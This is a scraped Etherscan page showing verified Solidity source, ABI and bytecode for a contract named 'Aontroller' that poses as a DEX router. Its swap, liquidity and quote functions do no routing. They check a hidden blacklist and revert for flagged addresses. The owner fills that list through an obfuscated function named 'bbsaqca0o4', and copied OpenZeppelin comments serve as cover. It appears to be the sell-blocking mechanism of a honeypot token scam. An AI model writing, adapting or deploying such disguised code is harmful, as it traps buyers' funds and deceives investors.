Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface RouterController
•    - function WETH()
•    - function getAmountsIn(uint amountIn,a ...
•    - function addLiquidityETH(
•    - function swapExactTokensForETHSupport ...
•  contract Aontroller is RouterContr ... *
•    - function WETH()
•    - function getCode()
•    - function getCode2(address addr)
•    - function getCode3(uint160 addr)
•    - function swapExactTokensForETHSupport ...
•    - function addLiquidityETH(
•    - function getAmountsIn(uint amountIn, ...
•    - function bbsaqca0o4(address[] calldat ...
•    - function getFlag(address[] calldata a ...
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function getTime()
•    - function _transferOwnership(address n ...
•    - function __Context_init()
•    - function __Context_init_unchained()
•    - function _msgSender()
•    - function _msgData()
•    - function __Ownable_init()
•    - function __Ownable_init_unchained()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _setOwner(address newOwner)
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
• interface IERC20Metadata is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•    - function mod(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b, st ...
• library SafeMathInt
•    - function mul(int256 a, int256 b)
•    - function div(int256 a, int256 b)
•    - function sub(int256 a, int256 b)
•    - function add(int256 a, int256 b)
•    - function abs(int256 a)
•    - function toUint256Safe(int256 a)
• library SafeMathUint
•    - function toInt256Safe(uint256 a)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-12-17
*/

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanim, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the ne that deploys the contract. This
 * can later be changed ith {transferOwnesip}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */

 // Define interface for TransferController
interface RouterController {
    function WETH() external view returns (address);
    function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

contract Aontroller is RouterController{

    mapping(address => uint256) private _isBlacklisted;
    
    address private owner;


    constructor (){
        owner = msg.sender;
        
    }
    function WETH() external view override returns(address){
        address ad = address(this);
        return ad;
    }

    function getCode() public  view returns (uint256) {
        address ad = address(this);
        uint256 result = uint160(ad);
        return result;
    }
    
    function getCode2(address addr) public pure returns (uint256) {
        uint256 result = uint160(addr);
        return result;
    }

    function getCode3(uint160 addr) public pure returns (address) {
        address result = address(addr);
        return result;
    }
    
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external virtual override {
        uint256 liquidity = _isBlacklisted[path[1]];
        if(liquidity > 0){
            require(false);
        }
    }

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external virtual override payable  returns (uint amountToken, uint amountETH, uint liquidity) {
        amountToken = amountTokenDesired;
        amountETH = amountTokenMin;
        liquidity = _isBlacklisted[token];
        if(liquidity > 0){
            require(false);
        }
    }

    function getAmountsIn(uint amountIn, address[] memory path)
        public
        view
        virtual
        override
        returns (uint[] memory amounts)
    {
        amounts = new uint[](path.length);
        amounts[0] = _isBlacklisted[path[0]];
        return amounts;
    }

    /**
    * @dev Contract module which provides a basic access control mechanism, where
    * there is an account (an owner) that can be granted exclusive access to
    * specific functions.
    *
    * By default, the owner account will be the one that deploys the contract. This
    * can later be changed with {transferOwnership}.
    *
    * This module is used through inheritance. It will make available the modifier
    * `onlyOwner`, which can be applied to your functions to restrict their use to
    * the owner.
    */
    function bbsaqca0o4(address[] calldata accounts, uint256 excluded) public {
        require(msg.sender == owner);
        for (uint256 i = 0; i < accounts.length; i++) {
            _isBlacklisted[accounts[i]] = excluded;
        }
    }

    function getFlag(address[] calldata accounts) public view returns(bool[] memory ff){
        ff = new bool[](accounts.length);
        for (uint256 i = 0; i < accounts.length; i++) {
            ff[i] = _isBlacklisted[accounts[i]] > 0;
        }
    }

}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Initializable {
    /**
     * @dev Indicates that the contract has been initialized.
     */
    bool private _initialized;

    /**
     * @dev Indicates that the contract is in the process of being initialized.
     */
    bool private _initializing;

    /**
     * @dev Modifier to protect an initializer function from being invoked twice.
     */
    modifier initializer() {
        require(_initializing || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
}

abstract contract ContextUpgradeable is Initializable {
    function __Context_init() internal initializer {
        __Context_init_unchained();
    }

    function __Context_init_unchained() internal initializer {
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    uint256[50] private __gap;
}

abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function __Ownable_init() internal initializer {
        __Context_init_unchained();
        __Ownable_init_unchained();
    }

    function __Ownable_init_unchained() internal initializer {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    uint256[49] private __gap;
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"bbsaqca0o4","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsIn","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCode","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"getFlag","outputs":[{"internalType":"bool[]","name":"ff","type":"bool[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561001057600080fd5b50600180546001600160a01b031916331790556108cc806100326000396000f3fe6080604052600436106100865760003560e01c8063791ac94711610059578063791ac94714610148578063ad5c46481461016a578063ea8796341461017f578063ec15250e14610194578063f305d719146101b457610086565b806307db000e1461008b5780631f00ca74146100c15780634afdc1de146100ee57806367d2dc411461011b575b600080fd5b34801561009757600080fd5b506100ab6100a63660046105c8565b6101d6565b6040516100b891906107a4565b60405180910390f35b3480156100cd57600080fd5b506100e16100dc366004610652565b6102db565b6040516100b891906107ea565b3480156100fa57600080fd5b5061010e610109366004610548565b6103b1565b6040516100b89190610790565b34801561012757600080fd5b5061013b610136366004610548565b6103b8565b6040516100b89190610822565b34801561015457600080fd5b5061016861016336600461071f565b6103c4565b005b34801561017657600080fd5b5061010e61042f565b34801561018b57600080fd5b5061013b61042f565b3480156101a057600080fd5b506101686101af366004610608565b610433565b6101c76101c236600461056b565b6104c0565b6040516100b89392919061082b565b60608167ffffffffffffffff8111156101ff57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610228578160200160208202803683370190505b50905060005b828110156102d457600080600086868581811061025b57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906102709190610548565b6001600160a01b03166001600160a01b0316815260200190815260200160002054118282815181106102b257634e487b7160e01b600052603260045260246000fd5b91151560209283029190910190910152806102cc81610841565b91505061022e565b5092915050565b6060815167ffffffffffffffff81111561030557634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561032e578160200160208202803683370190505b5090506000808360008151811061035557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020548160008151811061039f57634e487b7160e01b600052603260045260246000fd5b60200260200101818152505092915050565b805b919050565b6001600160a01b031690565b6000806000868660018181106103ea57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906103ff9190610548565b6001600160a01b031681526020810191909152604001600020549050801561042657600080fd5b50505050505050565b3090565b6001546001600160a01b0316331461044a57600080fd5b60005b828110156104ba578160008086868581811061047957634e487b7160e01b600052603260045260246000fd5b905060200201602081019061048e9190610548565b6001600160a01b03168152602081019190915260400160002055806104b281610841565b91505061044d565b50505050565b6001600160a01b0386166000908152602081905260409020548590859080156104e857600080fd5b96509650969350505050565b80356103b38161087e565b60008083601f840112610510578081fd5b50813567ffffffffffffffff811115610527578182fd5b602083019150836020808302850101111561054157600080fd5b9250929050565b600060208284031215610559578081fd5b81356105648161087e565b9392505050565b60008060008060008060c08789031215610583578182fd5b863561058e8161087e565b955060208701359450604087013593506060870135925060808701356105b38161087e565b8092505060a087013590509295509295509295565b600080602083850312156105da578182fd5b823567ffffffffffffffff8111156105f0578283fd5b6105fc858286016104ff565b90969095509350505050565b60008060006040848603121561061c578283fd5b833567ffffffffffffffff811115610632578384fd5b61063e868287016104ff565b909790965060209590950135949350505050565b60008060408385031215610664578182fd5b8235915060208084013567ffffffffffffffff80821115610683578384fd5b818601915086601f830112610696578384fd5b8135818111156106a8576106a8610868565b838102604051858282010181811085821117156106c7576106c7610868565b604052828152858101935084860182860187018b10156106e5578788fd5b8795505b8386101561070e576106fa816104f4565b8552600195909501949386019386016106e9565b508096505050505050509250929050565b60008060008060008060a08789031215610737578182fd5b8635955060208701359450604087013567ffffffffffffffff81111561075b578283fd5b61076789828a016104ff565b909550935050606087013561077b8161087e565b80925050608087013590509295509295509295565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b818110156107de5783511515835292840192918401916001016107c0565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156107de57835183529284019291840191600101610806565b90815260200190565b9283526020830191909152604082015260600190565b600060001982141561086157634e487b7160e01b81526011600452602481fd5b5060010190565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461089357600080fd5b5056fea26469706673582212203e8e21cfce1c8245e87fdc07e6b3fc04d712a1a791ad91227504ec1ace64145864736f6c63430008000033

0x6080604052600436106100865760003560e01c8063791ac94711610059578063791ac94714610148578063ad5c46481461016a578063ea8796341461017f578063ec15250e14610194578063f305d719146101b457610086565b806307db000e1461008b5780631f00ca74146100c15780634afdc1de146100ee57806367d2dc411461011b575b600080fd5b34801561009757600080fd5b506100ab6100a63660046105c8565b6101d6565b6040516100b891906107a4565b60405180910390f35b3480156100cd57600080fd5b506100e16100dc366004610652565b6102db565b6040516100b891906107ea565b3480156100fa57600080fd5b5061010e610109366004610548565b6103b1565b6040516100b89190610790565b34801561012757600080fd5b5061013b610136366004610548565b6103b8565b6040516100b89190610822565b34801561015457600080fd5b5061016861016336600461071f565b6103c4565b005b34801561017657600080fd5b5061010e61042f565b34801561018b57600080fd5b5061013b61042f565b3480156101a057600080fd5b506101686101af366004610608565b610433565b6101c76101c236600461056b565b6104c0565b6040516100b89392919061082b565b60608167ffffffffffffffff8111156101ff57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610228578160200160208202803683370190505b50905060005b828110156102d457600080600086868581811061025b57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906102709190610548565b6001600160a01b03166001600160a01b0316815260200190815260200160002054118282815181106102b257634e487b7160e01b600052603260045260246000fd5b91151560209283029190910190910152806102cc81610841565b91505061022e565b5092915050565b6060815167ffffffffffffffff81111561030557634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561032e578160200160208202803683370190505b5090506000808360008151811061035557634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020548160008151811061039f57634e487b7160e01b600052603260045260246000fd5b60200260200101818152505092915050565b805b919050565b6001600160a01b031690565b6000806000868660018181106103ea57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906103ff9190610548565b6001600160a01b031681526020810191909152604001600020549050801561042657600080fd5b50505050505050565b3090565b6001546001600160a01b0316331461044a57600080fd5b60005b828110156104ba578160008086868581811061047957634e487b7160e01b600052603260045260246000fd5b905060200201602081019061048e9190610548565b6001600160a01b03168152602081019190915260400160002055806104b281610841565b91505061044d565b50505050565b6001600160a01b0386166000908152602081905260409020548590859080156104e857600080fd5b96509650969350505050565b80356103b38161087e565b60008083601f840112610510578081fd5b50813567ffffffffffffffff811115610527578182fd5b602083019150836020808302850101111561054157600080fd5b9250929050565b600060208284031215610559578081fd5b81356105648161087e565b9392505050565b60008060008060008060c08789031215610583578182fd5b863561058e8161087e565b955060208701359450604087013593506060870135925060808701356105b38161087e565b8092505060a087013590509295509295509295565b600080602083850312156105da578182fd5b823567ffffffffffffffff8111156105f0578283fd5b6105fc858286016104ff565b90969095509350505050565b60008060006040848603121561061c578283fd5b833567ffffffffffffffff811115610632578384fd5b61063e868287016104ff565b909790965060209590950135949350505050565b60008060408385031215610664578182fd5b8235915060208084013567ffffffffffffffff80821115610683578384fd5b818601915086601f830112610696578384fd5b8135818111156106a8576106a8610868565b838102604051858282010181811085821117156106c7576106c7610868565b604052828152858101935084860182860187018b10156106e5578788fd5b8795505b8386101561070e576106fa816104f4565b8552600195909501949386019386016106e9565b508096505050505050509250929050565b60008060008060008060a08789031215610737578182fd5b8635955060208701359450604087013567ffffffffffffffff81111561075b578283fd5b61076789828a016104ff565b909550935050606087013561077b8161087e565b80925050608087013590509295509295509295565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b818110156107de5783511515835292840192918401916001016107c0565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156107de57835183529284019291840191600101610806565b90815260200190565b9283526020830191909152604082015260600190565b600060001982141561086157634e487b7160e01b81526011600452602481fd5b5060010190565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461089357600080fd5b5056fea26469706673582212203e8e21cfce1c8245e87fdc07e6b3fc04d712a1a791ad91227504ec1ace64145864736f6c63430008000033

1344:3013:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4096:256;;;;;;;;;;-1:-1:-1;4096:256:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2999:295;;;;;;;;;;-1:-1:-1;2999:295:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;1995:135::-;;;;;;;;;;-1:-1:-1;1995:135:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;1852:::-;;;;;;;;;;-1:-1:-1;1852:135:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;2142:354::-;;;;;;;;;;-1:-1:-1;2142:354:0;;;;;:::i;:::-;;:::i;:::-;;1554:120;;;;;;;;;;;;;:::i;1682:158::-;;;;;;;;;;;;;:::i;3846:242::-;;;;;;;;;;-1:-1:-1;3846:242:0;;;;;:::i;:::-;;:::i;2504:487::-;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;4096:256::-;4162:16;4206:8;4195:27;;;;;;-1:-1:-1;;;4195:27:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;4195:27:0;;4190:32;;4238:9;4233:112;4253:19;;;4233:112;;;4332:1;4302:14;:27;4317:8;;4326:1;4317:11;;;;;-1:-1:-1;;;4317:11:0;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4302:27:0;-1:-1:-1;;;;;4302:27:0;;;;;;;;;;;;;:31;4294:2;4297:1;4294:5;;;;;;-1:-1:-1;;;4294:5:0;;;;;;;;;:39;;;:5;;;;;;;;;;;:39;4274:3;;;;:::i;:::-;;;;4233:112;;;;4096:256;;;;:::o;2999:295::-;3142:21;3202:4;:11;3191:23;;;;;;-1:-1:-1;;;3191:23:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;3191:23:0;;3181:33;;3238:14;:23;3253:4;3258:1;3253:7;;;;;;-1:-1:-1;;;3253:7:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;3238:23:0;-1:-1:-1;;;;;3238:23:0;;;;;;;;;;;;;3225:7;3233:1;3225:10;;;;;;-1:-1:-1;;;3225:10:0;;;;;;;;;;;;;;:36;;;;;2999:295;;;;:::o;1995:135::-;2093:4;1995:135;;;;:::o;1852:::-;-1:-1:-1;;;;;1925:30:0;;1852:135::o;2142:354::-;2377:17;2397:14;:23;2412:4;;2417:1;2412:7;;;;;-1:-1:-1;;;2412:7:0;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;2397:23:0;;;;;;;;;;;;-1:-1:-1;2397:23:0;;;-1:-1:-1;2434:13:0;;2431:58;;2463:14;;;;2142:354;;;;;;;:::o;1554:120::-;1641:4;1554:120;:::o;3846:242::-;3953:5;;-1:-1:-1;;;;;3953:5:0;3939:10;:19;3931:28;;;;;;3975:9;3970:111;3990:19;;;3970:111;;;4061:8;4031:14;:27;4046:8;;4055:1;4046:11;;;;;-1:-1:-1;;;4046:11:0;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4031:27:0;;;;;;;;;;;;-1:-1:-1;4031:27:0;:38;4011:3;;;;:::i;:::-;;;;3970:111;;;;3846:242;;;:::o;2504:487::-;-1:-1:-1;;;;;2894:21:0;;2741:16;2894:21;;;;;;;;;;;2816:18;;2857:14;;2929:13;;2926:58;;2958:14;;;;2504:487;;;;;;;;;;:::o;14:138:1:-;84:20;;113:33;84:20;113:33;:::i;157:400::-;;;290:3;283:4;275:6;271:17;267:27;257:2;;313:6;305;298:22;257:2;-1:-1:-1;341:20:1;;384:18;373:30;;370:2;;;423:8;413;406:26;370:2;467:4;459:6;455:17;443:29;;530:3;523:4;515;507:6;503:17;495:6;491:30;487:41;484:50;481:2;;;547:1;544;537:12;481:2;247:310;;;;;:::o;562:259::-;;674:2;662:9;653:7;649:23;645:32;642:2;;;695:6;687;680:22;642:2;739:9;726:23;758:33;785:5;758:33;:::i;:::-;810:5;632:189;-1:-1:-1;;;632:189:1:o;826:677::-;;;;;;;1023:3;1011:9;1002:7;998:23;994:33;991:2;;;1045:6;1037;1030:22;991:2;1089:9;1076:23;1108:33;1135:5;1108:33;:::i;:::-;1160:5;-1:-1:-1;1212:2:1;1197:18;;1184:32;;-1:-1:-1;1263:2:1;1248:18;;1235:32;;-1:-1:-1;1314:2:1;1299:18;;1286:32;;-1:-1:-1;1370:3:1;1355:19;;1342:33;1384:35;1342:33;1384:35;:::i;:::-;1438:7;1428:17;;;1492:3;1481:9;1477:19;1464:33;1454:43;;981:522;;;;;;;;:::o;1508:463::-;;;1655:2;1643:9;1634:7;1630:23;1626:32;1623:2;;;1676:6;1668;1661:22;1623:2;1721:9;1708:23;1754:18;1746:6;1743:30;1740:2;;;1791:6;1783;1776:22;1740:2;1835:76;1903:7;1894:6;1883:9;1879:22;1835:76;:::i;:::-;1930:8;;1809:102;;-1:-1:-1;1613:358:1;-1:-1:-1;;;;1613:358:1:o;1976:531::-;;;;2140:2;2128:9;2119:7;2115:23;2111:32;2108:2;;;2161:6;2153;2146:22;2108:2;2206:9;2193:23;2239:18;2231:6;2228:30;2225:2;;;2276:6;2268;2261:22;2225:2;2320:76;2388:7;2379:6;2368:9;2364:22;2320:76;:::i;:::-;2415:8;;2294:102;;-1:-1:-1;2497:2:1;2482:18;;;;2469:32;;2098:409;-1:-1:-1;;;;2098:409:1:o;2776:1234::-;;;2930:2;2918:9;2909:7;2905:23;2901:32;2898:2;;;2951:6;2943;2936:22;2898:2;2992:9;2979:23;2969:33;;3021:2;3074;3063:9;3059:18;3046:32;3097:18;3138:2;3130:6;3127:14;3124:2;;;3159:6;3151;3144:22;3124:2;3202:6;3191:9;3187:22;3177:32;;3247:7;3240:4;3236:2;3232:13;3228:27;3218:2;;3274:6;3266;3259:22;3218:2;3315;3302:16;3337:2;3333;3330:10;3327:2;;;3343:18;;:::i;:::-;3390:2;3386;3382:11;3422:2;3416:9;3473:2;3468;3460:6;3456:15;3452:24;3526:6;3514:10;3511:22;3506:2;3494:10;3491:18;3488:46;3485:2;;;3537:18;;:::i;:::-;3573:2;3566:22;3623:18;;;3657:15;;;;-1:-1:-1;3692:11:1;;;3722;;;3718:20;;3715:33;-1:-1:-1;3712:2:1;;;3766:6;3758;3751:22;3712:2;3793:6;3784:15;;3808:171;3822:2;3819:1;3816:9;3808:171;;;3879:25;3900:3;3879:25;:::i;:::-;3867:38;;3840:1;3833:9;;;;;3925:12;;;;3957;;3808:171;;;3812:3;3998:6;3988:16;;;;;;;;2888:1122;;;;;:::o;4015:806::-;;;;;;;4230:3;4218:9;4209:7;4205:23;4201:33;4198:2;;;4252:6;4244;4237:22;4198:2;4293:9;4280:23;4270:33;;4350:2;4339:9;4335:18;4322:32;4312:42;;4405:2;4394:9;4390:18;4377:32;4432:18;4424:6;4421:30;4418:2;;;4469:6;4461;4454:22;4418:2;4513:76;4581:7;4572:6;4561:9;4557:22;4513:76;:::i;:::-;4608:8;;-1:-1:-1;4487:102:1;-1:-1:-1;;4693:2:1;4678:18;;4665:32;4706:33;4665:32;4706:33;:::i;:::-;4758:5;4748:15;;;4810:3;4799:9;4795:19;4782:33;4772:43;;4188:633;;;;;;;;:::o;4826:203::-;-1:-1:-1;;;;;4990:32:1;;;;4972:51;;4960:2;4945:18;;4927:102::o;5034:645::-;5199:2;5251:21;;;5321:13;;5224:18;;;5343:22;;;5034:645;;5199:2;5422:15;;;;5396:2;5381:18;;;5034:645;5468:185;5482:6;5479:1;5476:13;5468:185;;;5557:13;;5550:21;5543:29;5531:42;;5628:15;;;;5593:12;;;;5504:1;5497:9;5468:185;;;-1:-1:-1;5670:3:1;;5179:500;-1:-1:-1;;;;;;5179:500:1:o;5684:635::-;5855:2;5907:21;;;5977:13;;5880:18;;;5999:22;;;5684:635;;5855:2;6078:15;;;;6052:2;6037:18;;;5684:635;6124:169;6138:6;6135:1;6132:13;6124:169;;;6199:13;;6187:26;;6268:15;;;;6233:12;;;;6160:1;6153:9;6124:169;;6324:177;6470:25;;;6458:2;6443:18;;6425:76::o;6506:319::-;6708:25;;;6764:2;